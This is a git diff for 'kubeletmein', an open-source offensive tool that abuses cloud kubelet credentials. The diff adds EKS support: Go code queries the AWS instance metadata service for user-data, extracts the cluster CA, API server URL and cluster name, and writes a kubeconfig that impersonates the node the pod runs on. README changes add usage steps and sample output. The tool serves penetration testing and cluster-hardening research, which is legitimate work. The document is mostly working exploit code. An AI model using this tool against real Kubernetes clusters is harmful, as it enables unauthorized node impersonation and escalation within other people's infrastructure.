diff --git a/README.md b/README.md
index 2de7973..59bb9df 100644
--- a/README.md
+++ b/README.md
@@ -18,7 +18,7 @@ GKE is fully supported and relies on the metadata concealmeant being disabled (t
### EKS
-I'm working on support for EKS. It's actually a lot easier to exploit this on EKS than GKE.
+EKS support added by @airman604 based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This is a one step process and doesn't create a fake node, but rather impersonates the node on which the pod is running.
### Digital Ocean
@@ -67,7 +67,27 @@ kubectl --kubeconfig kubeconfig get pods
### EKS
-Coming soon.....
+On EKS we can impersonate current node in a single step using IAM authentication.
+
+```
+~ $ kubeletmein eks
+2021-03-02T21:37:59Z [ℹ] generating kubeconfig for current EKS node
+2021-03-02T21:37:59Z [ℹ] fetching cluster information from user-data from the metadata service
+2021-03-02T21:37:59Z [ℹ] getting IMDSv2 token
+2021-03-02T21:37:59Z [ℹ] getting user-data
+2021-03-02T21:37:59Z [ℹ] generating EKS node kubeconfig file at: kubeconfig
+2021-03-02T21:37:59Z [ℹ] wrote kubeconfig
+2021-03-02T21:37:59Z [ℹ] to use the kubeconfig, download aws-iam-authenticator to the current directory and make it executable by following the instructions at https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html
+2021-03-02T21:37:59Z [ℹ] then try: kubectl --kubeconfig kubeconfig get pods
+```
+
+Now you can use the kubeconfig, as it suggests. Follow the instructions at
+https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html to download `aws-iam-authenticator`
+(and make it executable), then run:
+
+```
+kubectl --kubeconfig kubeconfig get pods
+```
### Digital Ocean
diff --git a/cmd/kubeletmein/main.go b/cmd/kubeletmein/main.go
index 8ca70ef..a5fd79c 100644
--- a/cmd/kubeletmein/main.go
+++ b/cmd/kubeletmein/main.go
@@ -20,6 +20,7 @@ import (
"os"
"github.com/4armed/kubeletmein/pkg/bootstrap"
+ "github.com/4armed/kubeletmein/pkg/eks"
"github.com/4armed/kubeletmein/pkg/generate"
"github.com/kubicorn/kubicorn/pkg/logger"
"github.com/spf13/cobra"
@@ -29,8 +30,10 @@ var cfgFile string
// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
- Use: "kubeletmein",
- Short: "Abuse public cloud provider kubelet creds",
+ Use: "kubeletmein",
+ Short: "Abuse public cloud provider kubelet creds",
+ SilenceErrors: true,
+ SilenceUsage: true,
}
func main() {
@@ -43,6 +46,7 @@ func main() {
func init() {
rootCmd.AddCommand(bootstrap.Command())
rootCmd.AddCommand(generate.Command())
+ rootCmd.AddCommand(eks.Command())
rootCmd.PersistentFlags().IntVarP(&logger.Level, "verbose", "v", 3, "set log level, use 0 to silence, 4 for debugging")
rootCmd.PersistentFlags().BoolVarP(&logger.Color, "color", "C", true, "toggle colorized logs")
diff --git a/pkg/eks/eks.go b/pkg/eks/eks.go
new file mode 100644
index 0000000..83c54a0
--- /dev/null
+++ b/pkg/eks/eks.go
@@ -0,0 +1,214 @@
+// Copyright © 2021 Amiran Alavidze @airman604
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program. If not, see .
+
+package eks
+
+import (
+ "errors"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "os"
+ "path/filepath"
+ "regexp"
+ "strings"
+
+ "github.com/4armed/kubeletmein/pkg/config"
+ "github.com/kubicorn/kubicorn/pkg/logger"
+ "github.com/spf13/cobra"
+)
+
+const (
+ metadataIP = "169.254.169.254"
+)
+
+func Command() *cobra.Command {
+ config := &config.Config{}
+
+ cmd := &cobra.Command{
+ Use: "eks",
+ Short: "Generate valid kubeconfig to impersonate current node in EKS.",
+ RunE: func(cmd *cobra.Command, args []string) error {
+ logger.Info("generating kubeconfig for current EKS node")
+ err := doCommand(config)
+ if err != nil {
+ return fmt.Errorf("unable to generate kubeconfig: %v", err)
+ }
+
+ logger.Info("wrote kubeconfig")
+ logger.Info("to use the kubeconfig, download aws-iam-authenticator to the current directory and make it executable by following the instructions at https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html")
+ logger.Info("then try: kubectl --kubeconfig %v get pods", config.KubeConfig)
+
+ return err
+ },
+ }
+
+ cmd.Flags().StringVarP(&config.KubeConfig, "kubeconfig", "k", "kubeconfig", "The filename to write the kubeconfig to")
+
+ return cmd
+}
+
+func getUserData() (string, error) {
+ // using AWS v2 metadata API (IMDSv2), get token first
+ logger.Info("getting IMDSv2 token")
+ client := &http.Client{}
+ req, err := http.NewRequest(http.MethodPut, "http://"+metadataIP+"/latest/api/token", nil)
+ if err != nil {
+ return "", err
+ }
+ // set token TTL to be 10 min
+ req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "600")
+
+ resp, err := client.Do(req)
+ if err != nil {
+ return "", err
+ }
+ defer resp.Body.Close()
+ tokenBytes, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return "", err
+ }
+ metadataToken := string(tokenBytes)
+
+ // now request the instance provisioning data
+ logger.Info("getting user-data")
+ req, err = http.NewRequest(http.MethodGet, "http://"+metadataIP+"/latest/user-data", nil)
+ if err != nil {
+ return "", err
+ }
+ req.Header.Set("X-aws-ec2-metadata-token", metadataToken)
+
+ resp, err = client.Do(req)
+ if err != nil {
+ return "", err
+ }
+ defer resp.Body.Close()
+ userDataBytes, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return "", err
+ }
+
+ return string(userDataBytes), nil
+}
+
+type eksKubeConfigInfo struct {
+ caData string
+ kubeMaster string
+ clusterName string
+}
+
+// parse user-data from the metadata service
+func parseUserData(userData string) (*eksKubeConfigInfo, error) {
+ // userData should contain the following lines:
+ // B64_CLUSTER_CA=...
+ // API_SERVER_URL=...
+ // /etc/eks/bootstrap.sh ...
+ re := regexp.MustCompile(`(?m)^B64_CLUSTER_CA=(.*)$`)
+ caData := re.FindStringSubmatch(userData)
+ if caData == nil {
+ return nil, errors.New("Error while parsing user-data, could not find B64_CLUSTER_CA")
+ }
+
+ re = regexp.MustCompile(`(?m)^API_SERVER_URL=(.*)$`)
+ k8sMaster := re.FindStringSubmatch(userData)
+ if k8sMaster == nil {
+ return nil, errors.New("Error while parsing user-data, could not find API_SERVER_URL")
+ }
+
+ re = regexp.MustCompile(`(?m)^/etc/eks/bootstrap.sh\s+(\S+)\s`)
+ clusterName := re.FindStringSubmatch(userData)
+ if clusterName == nil {
+ return nil, errors.New("Error while parsing user-data, could not find cluster name from bootstrap.sh parameters")
+ }
+
+ result := &eksKubeConfigInfo{
+ caData: caData[1],
+ kubeMaster: k8sMaster[1],
+ clusterName: clusterName[1],
+ }
+ return result, nil
+}
+
+func kubeConfigTemplate() string {
+ // template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig
+ // same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html
+ kubeconfig := "" +
+ "apiVersion: v1\n" +
+ "kind: Config\n" +
+ "clusters:\n" +
+ "- cluster:\n" +
+ " certificate-authority-data: B64_CA_DATA\n" +
+ " server: MASTER_ENDPOINT\n" +
+ " name: kubernetes\n" +
+ "contexts:\n" +
+ "- context:\n" +
+ " cluster: kubernetes\n" +
+ " user: kubelet\n" +
+ " name: kubelet\n" +
+ "current-context: kubelet\n" +
+ "users:\n" +
+ "- name: kubelet\n" +
+ " user:\n" +
+ " exec:\n" +
+ " apiVersion: client.authentication.k8s.io/v1alpha1\n" +
+ " command: AWS_IAM_AUTHENTICATOR\n" +
+ " args:\n" +
+ " - \"token\"\n" +
+ " - \"-i\"\n" +
+ " - \"CLUSTER_NAME\"\n" //+
+ // " - --region\n" +
+ // " - \"AWS_REGION\"\n" +
+
+ return kubeconfig
+}
+
+func doCommand(c *config.Config) error {
+
+ // get user-data from the metadata service
+ logger.Info("fetching cluster information from user-data from the metadata service")
+ userData, err := getUserData()
+ if err != nil {
+ return err
+ }
+
+ kubeInfo, err := parseUserData(userData)
+ if err != nil {
+ return err
+ }
+
+ // construct file path for aws-iam-authenticator - assume it will be downloaded to the current dir
+ dir, err := os.Getwd()
+ if err != nil {
+ return err
+ }
+ authenticatorPath := filepath.Join(dir, "aws-iam-authenticator")
+
+ // template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig
+ // same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html
+ kubeconfig := kubeConfigTemplate()
+
+ kubeconfig = strings.ReplaceAll(kubeconfig, "B64_CA_DATA", kubeInfo.caData)
+ kubeconfig = strings.ReplaceAll(kubeconfig, "MASTER_ENDPOINT", kubeInfo.kubeMaster)
+ kubeconfig = strings.ReplaceAll(kubeconfig, "CLUSTER_NAME", kubeInfo.clusterName)
+ kubeconfig = strings.ReplaceAll(kubeconfig, "AWS_IAM_AUTHENTICATOR", authenticatorPath)
+
+ logger.Info("generating EKS node kubeconfig file at: %v", c.KubeConfig)
+ err = ioutil.WriteFile(c.KubeConfig, []byte(kubeconfig), 0644)
+ if err != nil {
+ return fmt.Errorf("error while writing kubeconfig file: %v", err)
+ }
+
+ return err
+}